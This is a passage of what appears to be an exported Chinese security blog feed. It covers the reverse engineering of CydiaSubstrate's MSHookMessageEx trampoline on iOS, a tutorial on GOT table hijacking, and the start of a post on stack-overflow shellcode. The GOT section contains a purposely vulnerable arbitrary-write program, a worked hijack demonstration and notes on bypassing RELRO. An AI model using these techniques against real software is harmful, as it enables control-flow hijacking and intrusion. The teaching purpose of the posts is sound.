    <content><![CDATA[<h2 id="前情提要"><a href="#前情提要" class="headerlink" title="前情提要"></a>前情提要</h2><p>在上一篇博文“<a href="https://harpersu00.github.io/92be8389.html">Hook 原理之 CydiaSubstrate（一）：MSHookMessageEx</a>”中，我分析了 MSHookMessageEx 以前的老代码，也就是 iOS5 版本。那么在这一篇文中，我将通过逆向来分析新版的 MSHookMessageEx。</p>
<p>两个版本的大部分代码和流程都差不多，主要区别在于，当 hook 的方法不是本类方法的时候，老版本的代码是通过嵌入机器码来获取 IMP，新版本是通过构建 trampoline（蹦床）页来获取 IMP。</p>
<a id="more"></a>

<h2 id="如何调试"><a href="#如何调试" class="headerlink" title="如何调试"></a>如何调试</h2><p>我们使用 CydiaSubstrate 框架对 APP 作 hook 操作的话，它是会在 /Library/MobileSubstarte/DynamicLibraries/ 目录下生成一个 .dylib 文件和一个对应的 plist 文件。这个 .dylib 文件将在 App 启动时被 dyld 加载到程序中，对指定类的方法进行 hook。</p>
<ol>
<li>在 iPhone 的 /Library/MobileSubstarte/ 目录下有一个 <strong>MobileSubstrate.dylib</strong> 文件，这只是一个链接文件，它的真身是在 /Library/Frameworks/CydiaSubstrate.framework/Librarys/ 目录下的 SubstrateBootstrap.dylib 文件。</li>
<li>这个动态库会被加载入每个 App 进程中，然后调用同目录下的 <strong>SubstrateLoader.dylib</strong> 动态库。</li>
<li>通过 SubstrateLoader.dylib 来启动上级目录下的 Mach-O 文件： <strong>CydiaSubstrate</strong>。关于 MSHookMessageEx 的代码即在这个可执行文件中。</li>
<li>最后通过 CydiaSubstrate 来加载该 App 对应的，位于 /Library/MobileSubstarte/DynamicLibraries/ 目录下的 hook dylib 文件，从而完成 hook 操作。</li>
</ol>
<p><strong>这些动作都发生在 main 函数被调用之前。</strong></p>
<p>程序启动后，不会再调用 MSHookMessageEx 函数，而是直接通过已被设置的 IMP 值跳到自定义的 hook dylib 中。因此我们要进入 CydiaSubstrate 可执行文件中动态调试 MSHookMessageEx 函数，就需要<strong>将断点下在第3步和第4步之间</strong>。</p>
<p>准备工作：自己构建的 App，hook 该 App 的 dylib。（这两个程序均已在越狱 iPhone 上安装好）</p>
<p>首先添加 Symbolic Breakpoint（符号断点）<code>_objc_init</code>，然后运行 App，当程序停在断点处时，在控制台输入 <code>image list -o -f</code> 命令，可以看见，与 Cydia 相关的文件，目前就只加载了 MobileSubstrate.dylib。</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/MobileSubstrate.png"></p>
<p>在 IDA 中打开它的真身 SubstrateBootstrap.dylib，可以看见自定义的函数只有一个 InitFunc_0，其余几个函数（exit、dlclose、dlopen、getenv）都是从外部引用的。而 InitFunc_0 函数也非常简单。主要是通过 dlopen 函数调用几个动态库，来作环境准备，其中我们要下断点的地方就在 dlopen 调用 SubstrateLoader.dylib 时：</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/SubstrateBootstrap_dlopen.png"></p>
<p>我这边的版本是在0x3DF8地址处，加上 ASLR 偏移，用 <code>br s -a xxx</code> 命令在这个地方下一个断点，然后通过 si 命令进入 dlopen 函数，然后执行到 br x16 的地方，再 si 进入系统库（libdyld.dylib）中的 dlopen 函数。</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/dlopen.png"></p>
<p>dlopen 函数会通过 _dyld_func_lookup 找到对应的 dylib 的地址，然后在最后几行命令中的 blr x8 调用该动态库，我们直接在这条指令的下一条指令下断点，然后 c 运行程序跳到该断点。这时候再使用 image list -o -f 命令，就会发现 SubstrateLoader.dylib 动态库已经被加载起来了。</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/SubstrateLoader.png"></p>
<p>既然我们已经知道是通过 dlopen 来加载的程序，那么用 IDA 打开 SubstrateLoader.dylib 文件，引用 dlopen 的只有三处：</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/SubstrateLoader_dlopen.png"></p>
<p>可以在这三处都下断点，然后看是哪一处启动了 CydiaSubstrate Mach-O 文件。结果证明是在 InitFunc_0_0 + 0x1AC8 处的 dlopen 调用了 CydiaSubstrate。</p>
<p>在控制台中下断点（SubstrateLoader.dylib 的 ASLR + 0x1AC8），运行程序，然后同样进入 dlopen，在blr x8 的下一条指令处下断点，当程序断在这里时，就会发现我们最终要调试的 CydiaSubstrate 文件终于被加载起来了。</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/CydiaSubstrate.png"></p>
<p>然后在 IDA 里面找到 MSHookMessageEx 函数的起点地址（我的版本是0x5908），再下断点，然后运行，就到 MSHookMessageEx 函数里了。</p>
<p>以下是整个流程的动图：</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/%E5%8A%A8%E5%9B%BE.gif"></p>
<h2 id="逆向分析"><a href="#逆向分析" class="headerlink" title="逆向分析"></a>逆向分析</h2><h3 id="异同点"><a href="#异同点" class="headerlink" title="异同点"></a>异同点</h3><p>通过阅读 IDA 中的汇编代码我们会发现，整个流程以及大部分的代码都与我上一篇博文中讲的老版本的源代码非常相似。</p>
<ul>
<li><code>sub_14130</code> 函数是新增的，涉及到调用 “/usr/sbin/aslmanager”、”/usr/lib/system/libsystem_sandbox.dylib” 等动态库，貌似是在做沙盒权限检查（此点存疑）。</li>
<li><code>sub_5E6C</code>函数即是之前的 MSFindMethod 函数。</li>
<li><code>sub_10000</code> 函数则做的 if (!direct){…} 这段代码的工作。</li>
</ul>
<p>很多部分大致相同，这些地方不做过多介绍，接下来主要讲解的是 sub_10000 函数。</p>
<h3 id="sub-10000"><a href="#sub-10000" class="headerlink" title="sub_10000"></a>sub_10000</h3><p>在 IDA 中查看 sub_10000 函数的主要部分（ARM64）：</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/sub_10000.png"></p>
<p>蓝绿色部分是正常执行流程，可以看到主要使用了三个函数： vm_allocate()、vm_deallocate()、vm_remap()。</p>
<p>这里涉及到一个 <code>trampoline</code>（蹦床）的概念。在很多时候，我们并不能直接执行我们想要的代码，而需要一个跳转代码或者跳转页面，经过一次或多次的跳转，最后跳到目的代码处执行。生成的这个跳转的代码或者页面就称之为 trampoline。</p>
<p><strong>在本函数中，target_address 页面就是 trampoline page。</strong></p>
<p>蹦床通常利用可写代码页（即具有可写、可执行权限）来实现。将指令写入 PROT_EXEC | PROT_WRITE 页面，需要的上下文信息直接包含在生成的代码中。</p>
<p>但是 iOS 中不允许 PROT_EXEC、 PROT_WRITE 这两种权限同时出现在页面中，也就是说不存在可写代码页（在我的测试中，ARMv7是可以的）。那么就需要使用一种替代机制来是实现 trampoline 中特定的上下文数据以及代码。</p>
<p>这种机制就是 <strong>vm_remap() + PC 相对寻址</strong>的组合。</p>
<p>vm_remap() 函数可以在新的地址中映射现有的代码页，并会同时保留页面保护权限（如果映射范围内的内存权限相同，则返回该权限；如果不同，则返回最大限制值）。也就是说，我们可以通过 vm_remap() 函数映射可执行的代码页面，或者可写的数据页面到新的页面地址处。</p>
<p>那么如何配置 trampoline 的数据呢？答案是通过 PC 相对寻址。PC（程序计数器）寄存器指示当前正在执行的指令的地址。我们将可写的数据页映射到可执行的代码页（trampoline page）旁边，然后使用 PC 相对寻址从相邻的可写数据页面加载 trampoline data，这样就达到了“可写”代码页的目的。</p>
<p>在本函数中也是这样做的，<strong>先通过 vm_allocate() 分配两页内存（0x8000），然后通过 vm_deallocate 释放第二页，作为 trampoline page，调用 vm_remap() 将 MSCloseTable 映射到已释放的第二页，最后在第一页（可写数据页）中填充需要的数据，返回第二页（可执行代码页）的首地址。</strong></p>
<p>以下是我仿照着写的伪代码</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">vm_address_t address = <span class="number">0x0</span>;</span><br><span class="line">kern_return_t kt;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Try to allocate two pages */</span></span><br><span class="line">kt = vm_allocate (mach_task_self (), &amp;address, PAGE_SIZE*<span class="number">2</span>, <span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span> (kt != KERN_SUCCESS) &#123;</span><br><span class="line">   <span class="keyword">return</span> ...;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Now drop the second half of the allocation to make room for the trampoline table */</span></span><br><span class="line">vm_address_t target_address = address+PAGE_SIZE;</span><br><span class="line">kt = vm_deallocate (mach_task_self (), target_address, PAGE_SIZE);</span><br><span class="line"><span class="keyword">if</span> (kt != KERN_SUCCESS) &#123;</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Remap the trampoline table to directly follow the address page */</span></span><br><span class="line">vm_prot_t cur_prot;</span><br><span class="line">vm_prot_t max_prot;</span><br><span class="line"></span><br><span class="line">kt = vm_remap (mach_task_self (), &amp;target_address, PAGE_SIZE, <span class="number">0x0</span>, FALSE, mach_task_self (), (vm_address_t) &amp;MSCloseTable, FALSE, &amp;cur_prot, &amp;max_prot, VM_INHERIT_SHARE);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (kt != KERN_SUCCESS) &#123;</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">int</span>p64_t **x20 = _class;<span class="comment">//&amp;_class+0x8 == &amp;sel</span></span><br><span class="line">*x20 + <span class="number">0x8</span> = sub_5F20</span><br><span class="line">address = x20;</span><br><span class="line">address + <span class="number">0x8</span> = (IMP)MSCloseTarget;</span><br><span class="line">	</span><br><span class="line"><span class="keyword">return</span> target_address;</span><br></pre></td></tr></table></figure>

<p>其中 MSCloseTable 的具体内容为：</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/MSCloseTable.png"></p>
<p>MSCloseTarget 中只有三条命令，主要是执行加载、跳转的操作。将PC-0x4000 处的值加载到 x16 寄存器中（这里 IDA 自动将相对偏移-0x4000解释为 _MSCloseTarget，实际上我们只需要这个偏移值，执行时偏移值指向的是 address），然后再将[x16]中的值存入x16，[x16+0x8]中的值存入x17，然后跳到x17所指的地址处执行代码。在动态调试中我们会发现这三条命令再加 nop 指令填充了 trampoline page。</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/trampoline.png"></p>
<p>上图中，target_address = 0x105b7c000, address = 0x105b78000，x17 = (IMP)MSCloseTarget，[x16] = &amp;(_class+sel)，[x16]+0x8 = sub_5F20。</p>
<p>也就是说，trampoline 的作用就是使得程序跳转到 MSCloseTarget 处执行，并把参数 _class，sel 的地址以及 sub_5F20 的地址存入 x16 寄存器、[x16]+0x8中。</p>
<p>MSCloseTarget 函数的主要作用是调用 sub_5F20 函数，并传入参数 _class 和 sel。</p>
<p>sub_5F20 函数则是直接调用 class_getMethodImplementation(_class, sel) 函数。</p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/sub_5F20.png"></p>
<p>总的来说，sub_10000 函数的作用与老版本的一样，都是为了嵌入一段 class_getMethodImplementation(_class, sel) 的 <code>JIT (just in time)</code> 代码，使得程序在运行时才会执行这段代码，而不是在开始的时候就已经传参执行了。</p>
<h3 id="为什么不使用原来的-if-direct"><a href="#为什么不使用原来的-if-direct" class="headerlink" title="为什么不使用原来的 if (!direct)"></a>为什么不使用原来的 if (!direct)</h3><p>首先 if (!direct) 中的机器码只定义了 ARM 32位、i386、x86_64位，没有定义 ARM64 的嵌入指令。</p>
<p><del>再者，在 ARM64 中也不能使用这种先 mmap 一段可写的内存，然后将内存改为可执行的权限的方法。</del></p>
<p><img src="/images/2017-03-23-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9AMSHookMessageEx/mprotect.png"></p>
<p>上图来自2014年在 The Black Hat USA 会议中的一篇演讲 “<a href="https://lifeasageek.github.io/papers/jang:ios-slides.pdf">Exploit unpatched iOS vulnerabilities for fun and profit</a>”。</p>
<p>比如以下代码：</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">#<span class="keyword">import</span> &lt;sys/mman.h&gt;</span><br><span class="line"></span><br><span class="line">char shell[] = &#123;<span class="number">0x10</span>, <span class="number">0x20</span>, <span class="number">0x70</span>, <span class="number">0x47</span>&#125;; <span class="comment">// return 16;</span></span><br><span class="line"></span><br><span class="line">- (<span class="built_in">void</span>)viewDidLoad &#123;</span><br><span class="line">    <span class="built_in">void</span> *page = mmap(NULL, <span class="number">4096</span>, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> (page == (<span class="built_in">void</span>*)<span class="number">-1</span>) &#123;</span><br><span class="line">        perror(NULL);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    memcpy(page, shell, sizeof(shell));</span><br><span class="line">    <span class="keyword">typedef</span> <span class="built_in">int</span> (*shell_execute)();</span><br><span class="line">    shell_execute exe = (shell_execute)((<span class="built_in">int</span>)page+<span class="number">1</span>);</span><br><span class="line">    mprotect(page, <span class="number">4096</span>, PROT_READ | PROT_EXEC);</span><br><span class="line">    NSString *<span class="built_in">string</span> = [NSString <span class="built_in">string</span>WithFormat:@<span class="string">&quot;%d&quot;</span>, exe()];</span><br><span class="line">    NSLog(@<span class="string">&quot;%@&quot;</span>, <span class="built_in">string</span>);</span><br><span class="line">    [<span class="keyword">super</span> viewDidLoad];</span><br><span class="line">    <span class="comment">// Do any additional setup after loading the view, typically from a nib.</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>在32位的 iOS 系统上，是可以正确运行并打印出16的 <del>但在64位中，则会报错：EXE_BAD_ACCESS (code=257, address=…)</del></p>
<p>补充：测试后发现，在64位 iOS 越狱系统上也是可以使用 mprotect 修改权限的，至于为什么要使用蹦床页面，我猜测是为了更好的兼容性以及后续扩展。</p>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] Implementing imp_implementationWithBlock()　<a href="http://landonf.org/2011/04/index.html">http://landonf.org/2011/04/index.html</a><br>[2] pandamonia/libffi-iOS　<a href="https://github.com/pandamonia/libffi-iOS/blob/master/patches/ios">https://github.com/pandamonia/libffi-iOS/blob/master/patches/ios</a><br>[3] WilliamLCobb/iNDS　<a href="https://github.com/WilliamLCobb/iNDS/issues/44">https://github.com/WilliamLCobb/iNDS/issues/44</a><br>[4] 谁偷了我的热更新？Mono，JIT，iOS 　<br><a href="http://www.cnblogs.com/murongxiaopifu/p/4278947.html">http://www.cnblogs.com/murongxiaopifu/p/4278947.html</a></p>
]]></content>
      <categories>
        <category>源码解析</category>
      </categories>
  </entry>
  <entry>
    <title>GOT 表劫持原理</title>
    <url>/1e59798b.html</url>
    <content><![CDATA[<h2 id="链接"><a href="#链接" class="headerlink" title="链接"></a>链接</h2><p>在程序从源代码到生成最终的可执行程序，会大体经历编译、汇编、链接三个阶段。编译将源代码转换成为汇编语言（例如.s后缀的文件），汇编阶段将汇编语言转换成机器码（例如.o文件）。链接阶段会合并多个目标文件（上一阶段生成的.o）以及静（动）态链接库中的代码数据等信息，修复文件之间的引用关系，最后生成可执行程序。</p>
<a id="more"></a>

<p>在链接这个过程中，静态链接库的代码和数据会被拷贝一份到可执行程序中。动态链接库则只是包含有引用关系，在程序运行时再通过动态链接加载。</p>
<p>动态链接库比如Linux中的.so，Windows中的.dll，macOS中的.dylib文件。静态链接库比如.lib、.a文件。</p>
<h3 id="延迟绑定"><a href="#延迟绑定" class="headerlink" title="延迟绑定"></a>延迟绑定</h3><p>正如由于我们在[链接]部分提到的，采用动态链接库的话，那么在二进制程序中，引用外部库函数的地方，都只是占位符，并不实际指向函数地址。那么在程序启动时，就需要花费大量的时间对函数进行连接，比如模块间函数引用的符号查找、重定位等，这样的做法非常影响程序的性能。而且也并不是程序的每一个分支，都会在运行过程中被使用到。没有运行到的这部分即使没有被链接，也不会有任何影响，反而消耗了程序的性能。</p>
<p>延迟绑定机制就是针对上述情况的缓解方案，当<strong>外部函数第一次被调用</strong>的时候，才会进行绑定（符号查找，重定位等链接）。如果函数在整个程序运行过程中，都没有被调用，那么它就不会进行绑定。这样的机制在保留动态链接的优势下，还可以加快程序的启动速度。</p>
<h3 id="GOT表（Global-Offset-Table，全局偏移表）"><a href="#GOT表（Global-Offset-Table，全局偏移表）" class="headerlink" title="GOT表（Global Offset Table，全局偏移表）"></a>GOT表（Global Offset Table，全局偏移表）</h3><p>GOT表位于.got和.got.plt Section</p>
<ul>
<li>.got Section 存放<strong>外部全局变量</strong>的GOT表，程序运行开始就会被加载进来，非延迟绑定，例如stdin/stderr等。</li>
<li>.got.plt Section中存放的是<strong>外部函数</strong>的GOT表，例如printf，使用延迟绑定机制。</li>
</ul>
<p>.plt Section （Procedure Linkage Table，程序链接表）对应存放的是.got.plt中所有外部函数对应的plt代码。</p>
<h2 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h2><p>我们用最简单的代码来认识一下延迟绑定的过程以及GOT表是如何工作的。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;hello harpersu00!\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>使用命令 <code>gcc test.c -m32</code> 将上面的示例编译成a.out可执行文件ELF格式。</p>
<p>然后使用 <code>objdump -s -d a.out</code> 命令查看各个section以及反汇编代码。</p>
<p>.plt section 如下所示：</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">Disassembly of section .plt:</span><br><span class="line"></span><br><span class="line">080482d0 &lt;.plt&gt;:</span><br><span class="line"> 80482d0:	ff 35 04 a0 04 08    	pushl  0x804a004 //push link_map</span><br><span class="line"> 80482d6:	ff 25 08 a0 04 08    	jmp    *0x804a008 //jump to _dl_runtime_resolve</span><br><span class="line"> 80482dc:	00 00                	add    %al,(%eax)</span><br><span class="line">	...</span><br><span class="line"></span><br><span class="line">080482e0 &lt;puts@plt&gt;:</span><br><span class="line"> 80482e0:	ff 25 0c a0 04 08    	jmp    *0x804a00c //值为0x80482e6</span><br><span class="line"> 80482e6:	68 00 00 00 00       	push   $0x0</span><br><span class="line"> 80482eb:	e9 e0 ff ff ff       	jmp    80482d0 &lt;.plt&gt;</span><br><span class="line"></span><br><span class="line">080482f0 &lt;__libc_start_main@plt&gt;:</span><br><span class="line"> 80482f0:	ff 25 10 a0 04 08    	jmp    *0x804a010</span><br><span class="line"> 80482f6:	68 08 00 00 00       	push   $0x8</span><br><span class="line"> 80482fb:	e9 d0 ff ff ff       	jmp    80482d0 &lt;.plt&gt;</span><br></pre></td></tr></table></figure>

<p>.got.plt section :</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">Contents of section .got.plt:</span><br><span class="line"> 804a000 149f0408 00000000 00000000 e6820408  ................</span><br><span class="line"> 804a010 f6820408 </span><br></pre></td></tr></table></figure>

<p>我们通过 <code>gdb a.out</code> 命令来调试程序，可以看得更清晰一点。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">(gdb) disassemble main</span><br><span class="line">Dump of assembler code for function main:</span><br><span class="line">   0x0804840d &lt;+0&gt;:	push   %ebp</span><br><span class="line">   0x0804840e &lt;+1&gt;:	mov    %esp,%ebp</span><br><span class="line">   0x08048410 &lt;+3&gt;:	and    $0xfffffff0,%esp</span><br><span class="line">   0x08048413 &lt;+6&gt;:	sub    $0x10,%esp</span><br><span class="line">   0x08048416 &lt;+9&gt;:	movl   $0x80484c4,(%esp)</span><br><span class="line">   0x0804841d &lt;+16&gt;:	call   0x80482e0 &lt;puts@plt&gt;  //在这个地址下断点</span><br><span class="line">   0x08048422 &lt;+21&gt;:	leave  </span><br><span class="line">   0x08048423 &lt;+22&gt;:	ret    </span><br><span class="line">End of assembler dump.</span><br><span class="line">(gdb) break *0x804841d  //下断点</span><br><span class="line">Breakpoint 1 at 0x804841d</span><br><span class="line">(gdb) display /3i $eip  //断点处打印$eip之后的3行内容</span><br><span class="line">(gdb) r</span><br><span class="line">Starting program: /xxx/a.out </span><br><span class="line"></span><br><span class="line">Breakpoint 1, 0x0804841d in main ()</span><br><span class="line">1: x/3i $eip</span><br><span class="line">=&gt; 0x804841d &lt;main+16&gt;:	call   0x80482e0 &lt;puts@plt&gt;</span><br><span class="line">   0x8048422 &lt;main+21&gt;:	leave  </span><br><span class="line">   0x8048423 &lt;main+22&gt;:	ret    </span><br><span class="line">Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686</span><br><span class="line">(gdb) si  //进入.plt section</span><br><span class="line">0x080482e0 in puts@plt ()</span><br><span class="line">1: x/3i $eip</span><br><span class="line">=&gt; 0x80482e0 &lt;puts@plt&gt;:	jmp    *0x804a00c</span><br><span class="line">   0x80482e6 &lt;puts@plt+6&gt;:	push   $0x0</span><br><span class="line">   0x80482eb &lt;puts@plt+11&gt;:	jmp    0x80482d0</span><br><span class="line">(gdb) x/wx 0x804a00c //跳到puts@plt+0x6的位置</span><br><span class="line">0x804a00c:	0x080482e6</span><br><span class="line">(gdb) x/4wx 0x804a000 //查看.got.plt表的内容, 0x804a00c就是puts函数在got表中的地址</span><br><span class="line">0x804a000:	0x08049f14	0xf7ffd900	0xf7fefea0	0x080482e6</span><br></pre></td></tr></table></figure>

<p>.got.plt表中存放的是每个外部函数的地址，在延迟绑定之前，存放的是该外部函数在.plt表中的地址+0x6；在绑定之后，存放的是该函数的实际地址。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">(gdb) b *0x08048422  //在puts函数调用之后下断点</span><br><span class="line">Breakpoint 2 at 0x8048422</span><br><span class="line">(gdb) c</span><br><span class="line">Continuing.</span><br><span class="line">hello harpersu00!</span><br><span class="line"></span><br><span class="line">Breakpoint 2, 0x08048422 in main ()</span><br><span class="line">1: x/3i $eip</span><br><span class="line">=&gt; 0x8048422 &lt;main+21&gt;:	leave  </span><br><span class="line">   0x8048423 &lt;main+22&gt;:	ret    </span><br><span class="line">   0x8048424:	xchg   %ax,%ax</span><br><span class="line">(gdb) x/4wx 0x804a000 //.got表中的函数地址改变了，变成了函数的实际地址</span><br><span class="line">0x804a000:	0x08049f14	0xf7ffd900	0xf7fefea0	0xf7e60a40</span><br><span class="line">(gdb) x/wx 0x804a00c //puts函数在got表中的地址</span><br><span class="line">0x804a00c:	0xf7e60a40</span><br><span class="line">(gdb) p puts //puts函数的实际地址</span><br><span class="line"><span class="meta">$</span><span class="bash">2 = &#123;&lt;text variable, no debug info&gt;&#125; 0xf7e60a40 &lt;puts&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>所以整个过程就是，</p>
<p>函数第一次被调用处 -&gt; .plt表中(puts@plt) -&gt; 跳转到 .got表中函数偏移处记录的地址，即puts@plt+0x6 -&gt; 跳转到.plt表的首地址，进行符号解析加载 -&gt; 修改.got表中的函数地址为实际地址。</p>
<p>函数第二次调用 -&gt;  .plt表中(puts@plt) -&gt; 跳转到 .got表中函数偏移处记录的地址，函数的真实地址。</p>
<p>那么，如果我们修改了.got表中该函数偏移处的地址，就会跳转到我们设定的地址处执行啦，这就是GOT表劫持。</p>
<h2 id="GOT表劫持实现"><a href="#GOT表劫持实现" class="headerlink" title="GOT表劫持实现"></a>GOT表劫持实现</h2><p>原理： 因为延迟绑定机制会回写GOT表，因此开启延迟绑定，则GOT表是可写的，GOT表所在的内存有w权限。如果漏洞利用可以改写GOT表，那么就可以劫持PC，跳转到自己写的code上取执行。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">win</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;You Win!&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">int</span> addr, value;</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%x=%x&quot;</span>, &amp;addr, &amp;value);</span><br><span class="line">    *(<span class="keyword">unsigned</span> <span class="keyword">int</span> *)addr = value;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;set %x=%x\n&quot;</span>, addr, value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>同样使用 <code>gcc test.c -m32 -o hijack_got</code> 命令编译源文件，得到 hijack_got可执行文件。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">[user@xx]#</span><span class="bash"> objdump -R hijack_got | grep <span class="built_in">printf</span></span></span><br><span class="line">0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0</span><br><span class="line"><span class="meta">[user@xx]#</span><span class="bash"> objdump -d hijack_got | grep win</span></span><br><span class="line">0804848d &lt;win&gt;:</span><br><span class="line"><span class="meta">[user@xx]#</span><span class="bash"> ./hijack_got </span></span><br><span class="line">0804a00c=0804848d</span><br><span class="line">You Win!</span><br></pre></td></tr></table></figure>

<p>上述示例通过将printf的.got表地址修改为win函数的地址，从而实现GOT表劫持。</p>
<h2 id="缓解措施"><a href="#缓解措施" class="headerlink" title="缓解措施"></a>缓解措施</h2><p>通过编译选项 gcc -z,relro，可以设置重定位只读。这样在进入main()函数之前，所有的外部函数都会被解析，对于外部函数很多的程序，效率会明显降低。</p>
<p>绕过Relocation Read Only：</p>
<ul>
<li>劫持开启该保护的动态库的GOT表，例如libc</li>
<li>改写函数指针或返回地址 </li>
</ul>
]]></content>
      <categories>
        <category>漏洞利用</category>
      </categories>
  </entry>
  <entry>
    <title>栈溢出之 shellcode</title>
    <url>/adec3bdf.html</url>
    <content><![CDATA[<h2 id="栈溢出（stack-overflow）原理"><a href="#栈溢出（stack-overflow）原理" class="headerlink" title="栈溢出（stack overflow）原理"></a>栈溢出（stack overflow）原理</h2><p>程序被载入系统（开始运行）时，系统会分配给程序一段内存供程序保存信息以及使用。这段内存包含有多个区域，比如代码区，全局数据区，动态链接库区，堆区，栈区等等。栈区是用来存储程序的局部信息，保存了程序调用函数的运行时状态信息，比如函数参数、局部变量等。函数外部定义的变量在全局数据区，而程序运行过程中动态分配的内存，如使用malloc()、new()等函数分配的内存，都位于堆区。</p>
<a id="more"></a>

<p>当发生函数调用的时候，例如在main()函数中调用my_func()函数，其中main()被称为caller（调用者），my_func()被称为callee（被调用者）。当程序进行到调用my_func()这一步时，main()函数的运行时信息已经在栈中了。调用my_func()函数会将该函数的运行时信息压入栈顶。调用结束后，会弹出这部分信息，恢复到只有main()信息的状态。</p>
<p>对于函数来说，保存其运行时状态的那一部分栈被叫做该函数的栈帧。</p>
<p>函数my_func()的栈帧如下：</p>
